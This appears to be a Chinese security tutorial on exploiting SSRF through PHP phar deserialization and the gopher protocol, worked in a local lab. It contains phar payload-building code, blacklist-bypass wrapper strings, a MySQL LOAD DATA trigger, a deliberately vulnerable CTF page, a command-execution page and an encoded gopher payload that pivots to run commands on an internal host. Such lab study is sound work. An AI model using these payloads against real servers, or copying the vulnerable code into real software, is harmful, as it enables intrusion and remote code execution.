SSRF中phar协议和gopher协议的利用

我们在学习SSRF漏洞的时候，经常会只关注file协议等，因为利用方式简单。实际上随着php版本的提升和编程技术的规范，能够直接利用的漏洞越来越少了，所以学习使用phar和gopher协议是很有必要的。

phar协议

在php中反序列漏洞，形成的原因首先需要一个unserialize()函数来处理我们传入的可控的序列化payload。但是如果对unserialize()传入的内容进行限制，甚至就不存在可利用的unserialize()函数的时候，就可以借助phar协议触发反序列化操作了

phar流包装器不能操作远程文件，也不能操作远程文件，因此即使禁用allow_url_fopen和allow_url_include INI选项，也允许使用phar流包装器。

官方文档示例

如何在目录下创建一个phar文件

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt','this is just some test text');
// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');
echo "<br>";
$f = fopen('phar://D:\\phpstudy_pro\\WWW\\phartest.zip\\testfile.txt','r');
echo $f;

运行以上代码后，我们会在网站目录下获得phartest.zip文件，并获得文件内容和fopen操作的类。

如果使用file_put_content是无法创建文件的

file_put_contents('phar://phartest.zip/testfile.txt','Thist is text for testfile.txt');

$context = stream_context_create(array('phar' =>array('compress' =>Phar::ZIP)));
file_put_contents('phar://phartest.zip/testfile.txt','Thist is text for testfile.txt',0,$context);

利用phar文件进行反序列化

<?php
	//反序列化payload构造
    class TestObject {
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 

	//将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='just a test';
    $phar->setMetadata($o);

	//phar本质上是个压缩包，所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

使用file_get_contents查看该文件，内容如下

关于需要进行反序列化得phar文件为什么要写得这么复杂

1. phar文件头的识别格式是xxx + <?php __HALT_COMPILER(); ?>，只有这样的格式才能被识别为phar文件
2. phar是压缩文件，那么压缩文件的信息就会存在第二段manifest describing，这一段是放序列化的poc
3. 压缩的文件的内容被存在第三段，也就是上面payload的中的text.txt
4. 数字签名为该phar的第四段

利用场景

既然知道了如何生成一个phar文件，那么就涉及到该文件的使用场景了。

很多函数都支持phar,这里偷一张图来看看

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	unlink("phar://D:\\phpstudy_pro\\WWW\\phar.phar\\test.txt");
?>

上面的代码，在对象被销毁时会触发__destruct()方法，输出TestObject类对应对象的data属性。这里使用unlink包含了刚刚生成的phar文件，可以看到反序列化成功，网页上输出了字段just a test

此外，还有其他的协议写法，如果我们像下面这样设置黑名单，是不是就完全避免了phar反序列化呢

	if(preg_match("/^phar/i",$data)){
		die("no");
	}

并不是，这里的协议不止这一种写法。

data=php://filter/read=convert.base64-encode/resource=phar://D:\phpstudy_pro\WWW\phar.phar\test.txt
compress.zlib://phar://D:\phpstudy_pro\WWW\phar.phar\test.txt

这样也是可以完成发序列化的,只不过使用协议进行套娃要注意函数是否支持这种协议。如果我们这里再使用unlink来处理data这个数据，那么就会报错。

mysql触发phar反序列化

在Web环境中，客户从Web服务器连接，用户可以使用LOAD DATA LOCAL来读取Web服务器进程有读访问权限的任何文件(假定用户可以运行SQL服务器的任何命令)

可以看到这里虽然有点小问题，但是还是插入了数据。

这里只需要将刚才脚本的include部分修改为执行mysql查询的语句即可。

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}
	
	$m = mysqli_init();
	mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
	$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'sectest', 3306);
	$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://D:\phpstudy_pro\WWW\phar.phar\test.txt\' INTO TABLE users');
?>

由此可得，任何支持phar协议进行文件操作的地方，都可能触发这样的漏洞。

gopher协议

简单使用该协议

gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

那么如何使用该协议发起一个gopher请求呢，和http请求类似，我们使用curl发包，最后服务端也能获得数据。

<?php echo $_GET['name'];?>

使用gopher向服务端发起GET请求

curl gopher://192.168.50.121:80/_GET%20/index.php%3fname=SleepU12%20HTTP/1.1%0d%0AHost:%20192.168.50.121%0d%0A

使用gopher协议发起post请求

curl gopher://192.168.50.121:80/_POST%20/index.php%20HTTP/1.1%0d%0AHost:192.168.50.121%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=SleepU12%0d%0A

使用gopher协议攻击内网主机

ubuntu: 10.0.2.15
windows: 192.168.50.121

ubuntu上的apache服务器提供的php web服务

<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
        exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
?>

这里抄了一道ctf题，如果要绕过上面的strpos,可以使用ph%2570

http://10.0.2.15/index.php?x=http://192.168.50.121

可以看到windows上php服务的详细信息

<?php 
highlight_file(__FILE__);
system($_GET['a']);
?>

这里我们就可以利用ubuntu web服务器上的SSRF漏洞来攻击windows上的web服务器了

gopher%3a%2f%2f192.168.50.121%3a80%2f_GET%2520%2findex.php%253fa%3dcalc%2520HTTP%2f1.1%250d%250Ahost%3a%2520192.168.50.121%250d%250A

注意: 这里的参数进行了url编码，同时要避免参数中的大写字母被转为了小写

可以看到，这里我们调出了计算器